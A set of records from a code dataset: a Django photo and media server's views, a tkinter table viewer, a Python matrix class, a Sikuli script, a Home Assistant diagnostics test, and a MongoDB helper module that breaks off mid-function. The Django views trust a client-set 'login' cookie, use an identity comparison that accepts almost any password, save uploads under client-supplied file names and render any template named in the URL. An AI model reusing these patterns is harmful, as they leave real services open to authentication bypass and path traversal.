+{"seq_id":"413377629","text":"# -*-coding:utf-8 -*-\nimport json\nimport os\nfrom django.contrib import auth\nfrom django.http import HttpResponse, FileResponse\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.views.decorators.gzip import gzip_page\n\nfrom Mryang_App.controlls import PhotoWallCtrl\nfrom Mryang_App.forms import CreateUserF, LoginUserF, UserAlbumF\nfrom Mryang_App.result.Enums import LOGIN, UPLOAD\nfrom Mryang_App import yquery, forms\nfrom frames import yutils, ypath\n\n# 显示权限\nfrom frames import logger\nfrom frames.xml import XMLBase\n\nCOMMON_SHOW = 4\nFAMILY = 5\nNOT_SEE = 9\n\ndpins = XMLBase.get_base_cfg()\nT_COS_MEIDA_ROOT = dpins.cos_media_root.innerText\n\n\ndef hello(request):\n    return HttpResponse('hello')\n\n\ndef h5_test(request, param1):\n    return render(request, param1 + '.html')\n\n\ndef login(request):\n    if (request.method == 'POST'):\n        auth.authenticate()\n        f_user = LoginUserF(request.POST)\n        user = f_user.check_account()\n        if user:\n            response = redirect('../login/')\n            response.set_cookie(yutils.S_NAME, user.user_name, yutils.LOGIN_TIME_OUT)\n            response.set_cookie(yutils.S_ACCOUNT, user.account, yutils.LOGIN_TIME_OUT)\n            return response\n        else:\n            return render(request, 'login.html', {'f_user': f_user, 'err': LOGIN.NO_ACCOUNT})\n    else:\n        if yutils.is_login_c(request.COOKIES):\n            return redirect('../upload/')\n        else:\n            f_user = LoginUserF()\n            # user = f_user.fill_random()\n            return render(request, 'login.html', {'f_user': f_user})\n\n\ndef regist(request):\n    if (request.method == 'POST'):\n        f_user = CreateUserF(request.POST, request.FILES)\n        user = f_user.flush_to_user()\n        if user:\n            response = redirect('../login/')\n            return response\n        else:\n            f_user = CreateUserF()\n            return render(request, 'regist.html', {'f_user': f_user, 'err': f_user.errors})\n    else:\n        f_user = CreateUserF()\n        return render(request, 'regist.html', {'f_user': f_user})\n\n\ndef upload_file(request):\n    # 检查登录状态\n    if yutils.is_login_c(request.COOKIES):\n        if (request.method == \"POST\"):\n            # 提交了表单\n            uf = UserAlbumF(request.POST, request.FILES)\n            if uf.is_valid():\n                # 获取表单信息\n                headimg = uf.cleaned_data['headImg']\n                # 写入数据库\n                # user = User.objects.get(account=utils.get_s_account())\n        else:\n            uf = UserAlbumF()\n        return render(request, 'upload_img.html', {'uf': uf})\n    else:\n        # 如果没有登录,返回登录界面.\n        return redirect('../login/', {'err': UPLOAD.NO_LOGIN})\n\n\ndef any_page(request, str):\n    return render(request, str)\n\n\n# 上传照片的控制台\ndef check_pic_cmd_login(request):\n    if 'login' in request.COOKIES:\n        value = request.COOKIES['login']\n        if None is not value and value == 'true':\n            return True\n    return False\n\n\ndef to_pic_cmd_login(request):\n    return render(request, 'upload/gallery/upload_pic_login.html', {'uf': forms.upload_f()})\n\n\n# 上传的文件处理\ndef up_pic_c1(request):\n    if not check_pic_cmd_login(request):\n        return to_pic_cmd_login(request)\n    if request.POST:\n        img_file = request.FILES.get(\"file\")\n        img_md5 = request.POST['md5']\n        print(img_md5)\n        img_name = img_file.name\n        # path = default_storage.save('tmp/somename.mp3', ContentFile(data.read()))\n        ypath.create_dirs(yutils.upload_album)\n        f = open(os.path.join(yutils.upload_album, img_name), 'wb')\n        for chunk in img_file.chunks():\n            f.write(chunk)\n        f.close()\n        print('save suc')\n    return render(request, 'upload/gallery/child_item/upload.html')\n    # def up_pic_c2(request):\n\n\ndef up_pic2(request):\n    return render(request, 'upload/gallery/child_item/up.html')\n\n    # if (request.method == \"POST\"):\n    #     # 提交了表单\n    #     uf = forms.upload_f(request.POST, request.FILES)\n    #     if uf.is_valid():\n    #         # 获取表单信息\n    #         pwd = uf.cleaned_data['pwd']\n    #         print(pwd)\n    #         if not pwd is 'temp1234':\n    #             hr = render(request, 'upload/gallery/child_item/upload.html')\n    #             hr.set_cookie('login', 'true', max_age=7 * 24 * 60 * 60)\n    #             return hr\n    #             # 写入数据库\n    #             # user = User.objects.get(account=utils.get_s_account())\n    #     return to_pic_cmd_login(request)\n    # else:\n    #     if (check_pic_cmd_login(request)):\n    #         return render(request, 'upload/gallery/child_item/upload.html')\n    #     return to_pic_cmd_login(request)\n\n\ndef up_pic(request):\n    if (request.method == \"POST\"):\n        # 提交了表单\n        uf = forms.upload_f(request.POST, request.FILES)\n        if uf.is_valid():\n            # 获取表单信息\n            pwd = uf.cleaned_data['pwd']\n            print(pwd)\n            if not pwd is 'temp1234':\n                hr = render(request, 'upload/gallery/upload_pic.html')\n                hr.set_cookie('login', 'true', max_age=7 * 24 * 60 * 60)\n                return hr\n                # 写入数据库\n                # user = User.objects.get(account=utils.get_s_account())\n        return to_pic_cmd_login(request)\n    else:\n        if (check_pic_cmd_login(request)):\n            return render(request, 'upload/gallery/upload_pic.html')\n        return to_pic_cmd_login(request)\n\n\n# ----------------end--------------\n\n# def new_move_index(request):\n#     json = yquery.dir_2json(yutils.M_FTYPE_MOIVE)\n#     info_json = yquery.movie_infos()\n#     r = render(request, 'movie/new_index.html', {'json': json, 'info_json': info_json, 'movie_url': movie_url,\n#                                                  'out_name': movie_info_cfg[XMLMedia.TAGS.NAME]})\n#     return r\n\n\ndef m_index(request):\n    return render(request, 'own_index/index.html')\n\n\ndef s_gallery(request):\n    json = yquery.pic_level1_2json(COMMON_SHOW)\n    return render(request, 'gallery/firstLevel/index-color.html',\n                  {'json': json})\n\n\ndef m_gallery(request):\n    json = yquery.pic_level1_2json(FAMILY)\n    return render(request, 'gallery/firstLevel/index-color.html',\n                  {'json': json})\n\n\ndef spe_gallery(request):\n    ddd = [{\"name\": \"abc\", \"rel_path\": \"rel_path\", \"intro\": \"intro\", \"time\": \"time\", \"thum\": \"thum\"}]\n    print(json.dumps(ddd))\n    return render(request, 'gallery/firstLevel/index-color.html',\n                  {'json': json.dumps(ddd)})\n\n\ndef dead_gallery(request):\n    return HttpResponse(\n        r\"<!DOCTYPE HTML><html><head><meta charset=\\\"utf-8\\\"/></head><title>希望,亦如黎明中的花朵</title><body><table width=100% height=100%><tr> <td><center><font face=\\\"times\\\"><span style=\\\"font-size:100px;color:green;font-family:century\\\"><a style=\\\"text-decoration:none;\\\">我有温暖,亦系极寒孤煞<br>我有梦想,亦似落空黄粱<br>我有痴心,亦如梦醒南柯<br>我有悲伤,亦可传播四方</a></span></font></center></td></tr></table>\")\n    # json = yquery.dead_2json()\n    # return render(request, 'gallery/firstLevel/index-color.html', {'json': json, 'pre_path': '/pic/thum'})\n\n\n# @ensure_csrf_cookie\ndef m_second_gallery(request, dir_id):\n    if request.method == \"POST\":\n        try:\n            page = request.POST.get('page')\n            c_id = int(dir_id)\n            json = yquery.pic_level2_2json(c_id, page)\n            print('[m_second_gallery]:', dir_id, page)\n            # return HttpResponse(json)\n            return HttpResponse(json, 'content-type=application/x-www-form-urlencoded')\n            # render(request, 'gallery/secondLevel/index.html', {'json': json, 'pre_path': '/pic/middle'})\n        except:\n            logger.error('非法参数:', dir_id)\n    else:\n        logger.info('[m_second_gallery]:', dir_id)\n        try:\n            c_id = int(dir_id)\n            json = yquery.pic_level2_2json(c_id, 1)\n            return render(request, 'gallery/secondLevel/index.html', {'json': json, 'pre_path': '/pic/middle'})\n        except:\n            logger.error('[m_second_gallery]没有该id的照片:', dir_id)\n\n\ndef media_moive(request):\n    return media_json(request, 'movie')\n\n\ndef media_tv(request):\n    return media_json(request, 'tv')\n\n\ndef media_video(request):\n    return media_json(request, 'video')\n\n\ndef media_json(request, type):\n    p_id = request.GET.get('p')\n    if not p_id:\n        json = yquery.meida_root(type)\n    else:\n        try:\n            id = int(p_id)\n            json = yquery.media_dir(id)\n        except:\n            json = yquery.meida_root(type)\n\n    return HttpResponse(json)\n\n\ndef download_test(request):\n    print(os.path.dirname('.'))\n    file = open('F:\\django_work\\MrYangServer\\static\\media/1.mp4', 'rb')\n    response = FileResponse(file)\n    response['Content-Type'] = 'application/octet-stream'\n    response['Content-Disposition'] = 'attachment;filename=\"1.mp4\"'\n    return response\n\n\n# 测试用  正常不走这里.\ndef create_default_photowall(request):\n    return HttpResponse(PhotoWallCtrl.batch_create_on_dir())\n\n\n# 这个可能要走. 但是要设计一下.\ndef batch_default_photo(request):\n    return HttpResponse(PhotoWallCtrl.batch_photo_to_wall())\n\n\n#下发基础信息.一些必要信息\ndef dispatch_base_info(request):\n    base_info = PhotoWallCtrl.get_base_info()\n    return HttpResponse(json.dumps(base_info))\n\n\ndef photo_wall_list(request):\n    return HttpResponse(PhotoWallCtrl.photo_wall_list(1))\n\n\ndef photo_list(request, wall_id):\n    return HttpResponse(PhotoWallCtrl.photo_list(wall_id))\n\n    # if (request.method == 'POST'):\n    #     request.POST.get('pw_id')\n    #     pass\n","sub_path":"MrYangServer/Mryang_App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"119198902","text":"import tkinter as tk  \r\nimport tkinter.ttk as ttk \r\nfrom tkinter.font import Font\r\nfrom tkinter.messagebox import *\r\n\r\nimport pandas as pd \r\nimport numpy as np \r\nimport re\r\n\r\n# python scripts \r\nimport manager_management_page as mmp\r\nimport manager_view_account as mva\r\n\r\n\r\nclass view_account_table(tk.Frame):\r\n\r\n\tdef __init__(self, type_user, my_geometry, username, master=None): \r\n\t\ttk.Frame.__init__(self, master)\r\n\r\n\t\tself.type_user = type_user\r\n\t\tself.my_geometry = my_geometry\r\n\t\tself.username = username\r\n\r\n\t\tself.master.title(\"View Account Page\")\r\n\t\tself.master.geometry(self.my_geometry)\r\n\t\t#self.master.configure( background = \"light blue\" )\r\n\t\tself.create_widgets()\r\n\r\n\tdef create_widgets(self):\r\n\t\tself.top = tk.Toplevel()\t\t\r\n\t\tself.top.title(\"User Accounts Info Page\")\r\n\t\t#self.top.geometry('700x500')\r\n\r\n\t\tif self.type_user == 'clerk' or self.type_user == 'computer_company' or self.type_user == 'delivery':\r\n\t\t\tdf = pd.read_excel( \"csv_files/privileged_users.xlsx\" )\r\n\t\t\tdf_user = df[df['Type_user'] == self.type_user]\r\n\t\t\tself.users_table(df_user)\r\n\t\telif self.type_user == 'customer':\r\n\t\t\tdf = pd.read_excel( \"csv_files/registered_customers.xlsx\" )\r\n\t\t\tself.users_table(df)\r\n\t\telif self.type_user == 'suspend':\r\n\t\t\tdf = pd.read_excel( \"csv_files/suspend_users.xlsx\" )\r\n\t\t\tself.users_table(df)\r\n\t\telif self.type_user == 'suggested_systems':\r\n\t\t\tdf = pd.read_excel( \"csv_files/suggested_systems.xlsx\" )\r\n\t\t\tself.users_table(df)\r\n\t\telif self.type_user == 'taboo_list':\r\n\t\t\tdf = pd.read_excel( \"csv_files/taboo_list.xlsx\" )\r\n\t\t\tself.users_table(df)\r\n\t\telif self.type_user == 'all_items':\r\n\t\t\tdf = pd.read_excel( \"csv_files/items.xlsx\" )\r\n\t\t\tdf_droped = df.drop(['Features', 'CPU cores', 'Graphic Card', 'Screen Resolution'], axis=1)\r\n\t\t\tself.users_table(df_droped)\r\n\t\telif self.type_user == 'my_items':\r\n\t\t\tdf = pd.read_excel( \"csv_files/items.xlsx\" )\r\n\t\t\tdf_droped = df.drop(['Features', 'CPU cores', 'Graphic Card', 'Screen Resolution'], axis=1)\r\n\t\t\tdf_droped_me = df_droped[df_droped['Computer Company'] == self.username]\r\n\t\t\tself.users_table(df_droped_me)\r\n\r\n\tdef users_table(self, df):\r\n\r\n\t\tself.tree_frame = tk.Frame(self.top)\r\n\t\tself.tree_frame.pack()#place(relx=0.06, rely=0.15, relwidth=0.9, relheight=0.2)\r\n\t\tself.tree_scroll = tk.Scrollbar(self.tree_frame)\r\n\t\tself.tree_scroll.pack(side=tk.RIGHT, fill=tk.Y)\r\n\t\t\r\n\r\n\t\tself.style1 = tk.ttk.Style()\r\n\t\tself.style1.configure(\"Treeview\",\r\n\t\t \tbackground=\"white\",\r\n\t\t \tforeground=\"black\",\r\n\t\t\trowheight=25,\r\n\t\t\tfiledbackground=\"silver\" )\r\n\t\tself.style1.map(\"Treeview\",background=[('selected', 'dark blue')])\r\n\r\n\r\n\r\n\t\tself.tree = tk.ttk.Treeview(self.tree_frame, yscrollcommand=self.tree_scroll.set)\r\n\t\tself.tree_scroll.config(command=self.tree.yview)\r\n\r\n\r\n\t\t# Set up new treeview\r\n\t\tself.tree[\"columns\"] = list(df.columns)\r\n\t\tself.tree[\"show\"] = \"headings\"\r\n\r\n\t\t# Loop through column list for headers\r\n\t\tfor column in self.tree[\"column\"]:\r\n\t\t\tself.tree.heading(column, text=column, anchor=tk.W)\r\n\t\t\tself.tree.column(column, width=170, anchor=tk.W, stretch=tk.NO)\r\n\r\n\t\t# Put data in treeview\r\n\t\tself.tree.tag_configure('oddrow', background='white')\r\n\t\tself.tree.tag_configure('evenrow', background='light blue')\r\n\t\tglobal count\r\n\t\tcount=0\r\n\t\tdf_rows = df.to_numpy().tolist()\r\n\t\tfor row in df_rows:\r\n\t\t\tif count % 2 == 0:\r\n\t\t\t\tself.tree.insert(\"\", \"end\", value=row, tags=('evenrow',))\r\n\t\t\telse:\r\n\t\t\t\tself.tree.insert(\"\", \"end\", value=row, tags=('oddrow',))\r\n\t\t\tcount += 1\r\n\r\n\t\tself.tree.pack()","sub_path":"view_account_table.py","file_name":"view_account_table.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"8952375","text":"from fractions import Fraction\n\nclass Matrix:\n\n    DEVCONQUER = False\n    first = True\n    @staticmethod\n    def info():\n        print(\"Interface:\")\n        print(\"-printable, iterable \\n-get and setitem with m[i], m[i][j]\")\n        print(\"-multplication with '*', addition with '+'\")\n        print(\"-determinant with det() or detlaplace(i), \\n\\t1<=i<=height\")\n        print(\"-adjunct with adj()\")\n        print(\"-f` with strich()\")\n        print(\"-inverse with inv()\")\n        print(\"-solving with solve(Matrix vector)\")\n        print()\n\n    def __init__(self, *args):\n        self.height = len(args)\n        if self.height != 0:\n            self.width = len(args[0])\n        else:\n            self.width = 0\n        for i in range(self.height):\n            if len(args[i]) != self.width:\n                raise TypeError(\"row \"+str(i)+\" not of lenght \"+str(self.width))\n        self.matrix = list(args)\n        if Matrix.first: \n            Matrix.info()\n            Matrix.first = False\n\n    def __str__(self):\n        t = 1\n        if self.height == 1:\n            matrix = \"(\"\n            for j in self[0]:\n                matrix += str(j)\n            return matrix + \")\\n\"\n        matrix = \"\"\n        for i in range(self.height):\n            row = \"\"\n            for j in range(self.width):\n                row += str(self[i][j]) + t*\"\\t\"\n            if i == 0:\n                row = \"/\\t\" + row + \"\\\\\\n\"\n            elif i == self.height-1:\n                row = \"\\ \\t\" + row + \"/\\n\"\n            else:\n                row = \"|\\t\" + row + \"|\\n\"\n\n            matrix += row\n        \n        return matrix\n    \n    def __repr__(self):\n        return self.__str__()\n\n    def __index__(self):\n        for i in self.matrix:\n            yield i\n    \n    def __getitem__(self, key):\n        return self.matrix[key]\n    \n    def __setitem__(self, key, item):\n        self[key] = item\n\n    def __add__(self, other):\n        if self.height!=other.height or self.width!=other.width:\n            raise TypeError(\"height and width dont match\")\n        res = []\n        for i in range(self.height):\n            row = []\n            for j in range(self.width):\n                row += [self[i][j] + other[i][j]]\n            res += [row]\n        return Matrix(*res)\n    \n    def __mul__(self, other):\n        if type(other) in [int, float, Fraction]:\n            return self.mul_int(other)\n        else:\n            return self.mul_matrix(other)\n    \n    def __rmul__(self, other):\n        if type(other) in [int, float, Fraction]:\n            return self.mul_int(other)\n    \n    def mul_int(self, i):\n        temp = []\n        for l in range(self.height):\n            row = []\n            for k in range(self.width):\n                row += [self[l][k] * i]\n            temp += [row]\n        return Matrix(*temp)\n    \n    def mul_matrix(self, other):\n        if self.width != other.height:\n            raise TypeError(\"width and heigth dont match\")\n        elif self.height == 0:\n            return Matrix()\n        elif Matrix.DEVCONQUER:\n            return self.divide_and_conquer(other)\n        else:\n            res = []\n            for i in range(self.height):\n                row = []\n                for j in range(other.width):\n                    n = 0\n                    for k in range(self.width):\n                        n += self[i][k] * other[k][j]\n                    row += [n]\n                res += [row]\n            return Matrix(*res)\n    \n    def divide_and_conquer(self, other):\n        if self.height == self.width == other.width == 1:\n            return Matrix([self[0][0]*other[0][0]])\n\n        elif max(self.height, self.width, other.width) == self.height:\n            s1, s2 = self.divide(True)\n            res = (s1*other).matrix + (s2*other).matrix\n            return Matrix(*res)\n\n        elif max(self.height, self.width, other.width) == other.width:\n            o1, o2 = other.divide(False)\n            r1 = (self*o1).matrix\n            r2 = (self*o2).matrix\n            res = [r1[i]+r2[i] for i in range(self.height)]\n            return Matrix(*res)\n\n        else: #max(self.height, self.width, other.width) == self.width = other.height\n            s1, s2 = self.divide(False)\n            o1, o2 = other.divide(True)\n            res = s1*o1 + s2*o2\n            return res\n\n    \n    def divide(self, horiz):\n        if horiz:\n            l = self.height//2\n            return Matrix(*self[:l]), Matrix(*self[l:])\n        else:\n            l = self.width//2\n            return Matrix(*[row[:l] for row in self]), Matrix(*[row[l:] for row in self])\n        \n    def det(self, st = False):\n        self.testWH()\n        perm = self.getPermSgn(self.width)\n        det = 0\n        res = \"\"\n        for i in perm:\n            d = perm[i]\n            re = \"+\" + str(d)\n            for j in range(self.width):\n                d *= self[j][i[j]]\n                re += \"*\" + str(self[j][i[j]])\n            det += d\n            res += re\n        if st:\n            print(res)\n        return det\n    \n    def getPermSgn(self, n, c = 0, per = []):\n        if c == n:\n            inv = 0\n            for i in range(n):\n                for j in range(n):\n                    if i<j and per[i]>per[j]: inv += 1\n            return {tuple(per): 1-2*(inv%2)}\n        else:\n            p = {}\n            for i in range(0,n):\n                if i not in per:\n                    p.update(self.getPermSgn(n, c+1, per+[i]))\n            return p\n    \n    def detLaplace(self, i, col = False):\n        self.testWH()\n        self.testI(i)\n        if self.height == 1: return self[0][0]\n        sum = 0\n        for m in range(1, self.height+1):\n            sum += (-1)**(i+m) * self[i-1][m-1] * self.strich(i,m).detLaplace(1)\n        return sum\n        \n    def inv(self):\n        return self.adj() * Fraction(1, self.det())\n    \n    def adj(self, d151 = False):\n        if d151: return self.adj151()\n        grid = []\n        for i in range(self.height):\n            grid += [[self.strich(j+1,i+1).det()*(-1)**(i+j) for j in range(self.height)]]\n        return Matrix(*grid)\n        \n    def adj151(self):\n        pass\n    \n    def strich(self, i, j):\n        self.testWH()\n        if max(i,j) > self.height or min(i,j) < 1:\n            raise ValueError('1 <= i,j <= height')\n        grid = []\n        for l in self.matrix[:i-1]+self.matrix[i:]:\n            grid += [l[:j-1]+l[j:]]\n        return Matrix(*grid)\n    \n    def insVec(self, i, b):\n        self.testWH()\n        self.testI(i)\n        if b.width != 1 or b.height != self.height:\n            raise TypeError(\"b must be of dimension height x 1\")\n        grid = [self[j][:i-1]+[b[j][0]]+self[j][i:] for j in range(self.height)]\n        return Matrix(*grid)\n    \n    def solve(self, other):\n        det = self.det()\n        if det == 0: raise ValueError(\"determinant is zero\")\n        vector = [[self.insVec(i+1,other).det() / det] for i in range(self.height)]\n        return Matrix(*vector)\n\n    def testWH(self):\n        if self.width != self.height: \n            raise TypeError('width and height dont match')\n    \n    def testI(self, i):\n        if i > self.height or i < 0:\n            raise ValueError('1 <= i <= height')\n\n        \n    \n'''\nm1 = Matrix([1,2,3],[1,2,3])\nm2 = Matrix([1,2,3,4],[1,2,3,4],[1,2,3,4])\nm3 = Matrix([1,1,1],[1,1,1])\nm0 = Matrix()\nprint(m1)\nprint(m2)\nprint(m1*m2)\nprint(m1+m3)\nprint(m0+m0)\nprint(m0*m0)\n\nprint(m0.height, m0.width, m0.matrix)\n'''\n'''\nm = Matrix([1,2,3],[4,5,6],[7,8,9])\nprint(m)\nprint(m.det())\nprint(m.strich(3,3))\nprint(m.adj())\nprint(m*m.adj())\n'''\n'''\nm11 = Matrix(\n    [1,2,3,4,5,6,7],\n    [1,1,1,1,1,1,1],\n    [2,2,0,0,0,0,0],\n    [0,0,0,1,1,0,2],\n    [0,0,0,2,0,0,2],\n    [0,0,0,0,0,1,1],\n    [0,0,0,0,0,2,3]\n)\n\nprint(m11)\nprint(m11.det())\nprint(m11.adj())\n#print(m11*m11.adj())\n#print(m11*m11.inv())\nms = Matrix(\n    [1,1,1],\n    [0,1,1],\n    [3,2,1]\n)\nvec = Matrix([1],[1],[0])\nprint(ms.solve(vec))\n#print(m11.detLaplace(7))\n'''\nA = Matrix(\n    [1,0,0,-1,-2], \n    [0,1,2,-2,-4], \n    [0,0,1,-1,-2],\n    [0,0,0,1,2],\n    [0,0,0,0,1]\n)\n\nB = Matrix(\n    [1,0,1,-1,-2], \n    [0,1,1,-2,-4], \n    [0,0,1,-1,-2],\n    [0,0,1,1,2],\n    [0,0,1,0,1]\n)\n\nC = Matrix(\n    [1,0,0,-1,-2], \n    [1,1,2,-2,-4], \n    [1,0,1,-1,-2],\n    [1,0,0,1,2],\n    [1,0,0,0,1]\n)\n\nprint(A.det(True))\nprint(B.det())\nprint(C.det())\n\n","sub_path":"Python/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":8307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"182506102","text":"import os\nimport sys\nimport outputInfosikuli\nreload(outputInfosikuli)\nimport init\nreload(init)\n\nclass closeDown(object):\n#=================================================================\n# Function Name   : closeDown\n# Author          : tong shan\n# Create Date     : 2015-04-16\n# Function        : closeDown\n# Input Parameters: \n# Return Value    : \n#================================================================= \n    def closeDown(self): \n        output.outputLogFile(\"Close IE\")\n        App.focus(\"Interstage Application Server\")\n        type(Key.F4,KEY_ALT)\n        init.mySleep()\n        \nif __name__ == '__main__':  \n    filename = sys.argv[0][sys.argv[0].rfind(os.sep)+1:]\n    length = len(filename.split(\"/\"))\n    caseNo = filename.split(\"/\")[length-1].split(\".\")[0]\n    \n    output = outputInfosikuli.outputInfo()\n    startLine = output.buildStartLine(caseNo)\n    output.outputLogFile(startLine)\n    \n    obj = closeDown()\n    obj.closeDown()\n    \n    endLine = output.buildEndLine(caseNo)\n    output.outputLogFile(endLine)    ","sub_path":"common/closeDown.sikuli/closeDown.py","file_name":"closeDown.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"428920709","text":"\"\"\"Tests for the devolo Home Control diagnostics.\"\"\"\nfrom __future__ import annotations\n\nfrom unittest.mock import patch\n\nfrom aiohttp import ClientSession\n\nfrom homeassistant.components.devolo_home_control.diagnostics import TO_REDACT\nfrom homeassistant.components.diagnostics import REDACTED\nfrom homeassistant.config_entries import ConfigEntryState\nfrom homeassistant.core import HomeAssistant\n\nfrom . import configure_integration\nfrom .mocks import HomeControlMock, HomeControlMockBinarySensor\n\nfrom tests.components.diagnostics import get_diagnostics_for_config_entry\n\n\nasync def test_entry_diagnostics(hass: HomeAssistant, hass_client: ClientSession):\n    \"\"\"Test setup and state change of a climate device.\"\"\"\n    entry = configure_integration(hass)\n    gateway_1 = HomeControlMockBinarySensor()\n    gateway_2 = HomeControlMock()\n    with patch(\n        \"homeassistant.components.devolo_home_control.HomeControl\",\n        side_effect=[gateway_1, gateway_2],\n    ):\n        await hass.config_entries.async_setup(entry.entry_id)\n        await hass.async_block_till_done()\n\n        assert entry.state == ConfigEntryState.LOADED\n\n        entry_dict = entry.as_dict()\n        for key in TO_REDACT:\n            entry_dict[\"data\"][key] = REDACTED\n\n        result = await get_diagnostics_for_config_entry(hass, hass_client, entry)\n\n        assert result == {\n            \"entry\": entry_dict,\n            \"device_info\": [\n                {\n                    \"gateway\": {\n                        \"local_connection\": gateway_1.gateway.local_connection,\n                        \"firmware_version\": gateway_1.gateway.firmware_version,\n                    },\n                    \"devices\": [\n                        {\n                            \"device_id\": device_id,\n                            \"device_model_uid\": properties.device_model_uid,\n                            \"device_type\": properties.device_type,\n                            \"name\": properties.name,\n                        }\n                        for device_id, properties in gateway_1.devices.items()\n                    ],\n                },\n                {\n                    \"gateway\": {\n                        \"local_connection\": gateway_2.gateway.local_connection,\n                        \"firmware_version\": gateway_2.gateway.firmware_version,\n                    },\n                    \"devices\": [],\n                },\n            ],\n        }\n","sub_path":"tests/components/devolo_home_control/test_diagnostics.py","file_name":"test_diagnostics.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"239165693","text":"import datetime\n\nfrom nwpc_monitor_broker import app, db\nfrom nwpc_monitor.model import Owner, Repo, DingtalkUser, DingtalkWarnWatch\n\nfrom nwpc_monitor.model.nwpc_takler import Commit, Tree, Blob, Ref\n\nfrom nwpc_monitor_broker.api_v2 import mongodb_client\n\n# mongodb\nnwpc_monitor_platform_mongodb = mongodb_client.nwpc_monitor_platform_develop\nsms_server_status = nwpc_monitor_platform_mongodb.sms_server_status\n\n\ndef get_ding_talk_warn_user_list(owner: str, repo: str) -> list:\n    query = db.session.query(Owner, Repo, DingtalkUser, DingtalkWarnWatch).filter(Repo.owner_id == Owner.owner_id)\\\n        .filter(Repo.repo_name == repo)  \\\n        .filter(Owner.owner_name == owner) \\\n        .filter(DingtalkWarnWatch.repo_id == Repo.repo_id) \\\n        .filter(DingtalkWarnWatch.dingtalk_user_id == DingtalkUser.dingtalk_user_id)\n\n    warn_to_user_list = []\n    for (owner_object, repo_object, dingtalk_user_object, dingtalk_warn_watch_object) in query.all():\n        userid = dingtalk_user_object.dingtalk_member_userid\n        print(userid)\n        warn_to_user_list.append(userid)\n\n    return warn_to_user_list\n\n\ndef get_new_64bit_ticket():\n    batch_id = None\n    engine = db.engine\n    connection = engine.connect()\n    trans = connection.begin()\n    try:\n        connection.execute(\"REPLACE INTO tickets_64 (stub) VALUES ('a');\")\n        (batch_id,) = connection.execute('SELECT LAST_INSERT_ID() AS id').fetchone()\n        trans.commit()\n    except:\n        trans.rollback()\n        raise\n    return batch_id\n\n\ndef save_sms_server_status_to_nwpc_takler_object_system(\n        owner: str, repo: str, sms_name: str,\n        message: dict,\n        error_task_dict_list: list\n) -> dict:\n    \"\"\"\n    保存 sms server 状态到 mongodb 数据库，并返回保存对象的 dict 格式。\n\n    :param owner:\n    :param repo:\n    :param sms_name:\n    :param message:\n    :param error_task_dict_list:\n    :return:\n    \"\"\"\n    status_blob = Blob()\n    status_blob.id = get_new_64bit_ticket()\n    status_blob.owner = owner\n    status_blob.repo = repo\n    status_blob_data = {\n        'type': 'status',\n        'name': 'sms_server_status',\n        'content': {\n            'sms_name': sms_name,\n            'update_time': datetime.datetime.utcnow(),\n            'collected_time': message['time'],\n            'status': message['status']\n        }\n    }\n    status_blob.set_data(status_blob_data)\n    blobs_collection = nwpc_monitor_platform_mongodb.blobs\n    blobs_collection.insert_one(status_blob.to_dict())\n\n    aborted_tasks_blob = Blob()\n    aborted_tasks_blob.id = get_new_64bit_ticket()\n    aborted_tasks_blob.owner = owner\n    aborted_tasks_blob.repo = repo\n    aborted_tasks_blob_data = {\n        'type': 'aborted_tasks',\n        'name': 'sms_server_aborted_tasks',\n        'content': {\n            'status_blob_id': status_blob.id,\n            'sms_name': sms_name,\n            'update_time': datetime.datetime.utcnow(),\n            'collected_time': message['time'],\n            'tasks': error_task_dict_list\n        }\n    }\n    aborted_tasks_blob.set_data(aborted_tasks_blob_data)\n    blobs_collection.insert_one(aborted_tasks_blob.to_dict())\n\n    tree_object = Tree()\n    tree_object.id = get_new_64bit_ticket()\n    tree_object.owner = owner\n    tree_object.repo = repo\n    tree_object_data = {\n        'nodes': [\n            {\n                'type': 'status',\n                'name': 'sms_server_status',\n                'blob_id': status_blob.id\n            },\n            {\n                'type': 'aborted_tasks',\n                'name': 'sms_server_aborted_tasks',\n                'blob_id': aborted_tasks_blob.id\n            }\n        ]\n    }\n    tree_object.set_data(tree_object_data)\n    trees_collection = nwpc_monitor_platform_mongodb.trees\n    trees_collection.insert_one(tree_object.to_dict())\n\n    commit_object = Commit()\n    commit_object.id = get_new_64bit_ticket()\n    commit_object.owner = owner\n    commit_object.repo = repo\n    commit_object_data = {\n        'committer': 'aix',\n        'type': 'status',\n        'tree_id': tree_object.id,\n        'committed_time': datetime.datetime.utcnow()\n    }\n    commit_object.set_data(commit_object_data)\n    commits_collection = nwpc_monitor_platform_mongodb.commits\n    commits_collection.insert_one(commit_object.to_dict())\n\n    # NOTE:\n    #   如果只保存出错时的任务，Ref就失去意义\n\n    # # find ref in mongodb\n    # ref_collection = nwpc_monitor_platform_mongodb.refs\n    #\n    # ref_key = {\n    #     'owner': owner,\n    #     'repo': repo,\n    #     'data.key': 'sms_server/status/head'\n    # }\n    # ref_found_result = ref_collection.find_one(ref_key)\n    # if ref_found_result is None:\n    #     ref_object = Ref()\n    #     ref_object.id = get_new_64bit_ticket()\n    #     ref_object.owner = owner\n    #     ref_object.repo = repo\n    #     ref_object_data = {\n    #         'key': 'sms_server/status/head',\n    #         'type': 'blob',\n    #         'id': status_blob.id\n    #     }\n    #     ref_object.set_data(ref_object_data)\n    #     # save\n    #     ref_collection.update(ref_key, ref_object.to_dict(), upsert=True)\n    # else:\n    #     ref_found_result['data']['id'] = status_blob.id\n    #     ref_found_result['timestamp'] = datetime.datetime.utcnow()\n    #     # save\n    #     ref_collection.update(ref_key, ref_found_result, upsert=True)\n    return {\n        'blobs': [\n            status_blob.to_dict(),\n            aborted_tasks_blob.to_dict()\n        ],\n        'trees': [\n            tree_object.to_dict()\n        ],\n        'commits': [\n            commit_object.to_dict()\n        ]\n    }\n\n\ndef save_sms_task_check_to_nwpc_takler_object_system(\n        owner: str, repo: str,\n        message_data: dict,\n        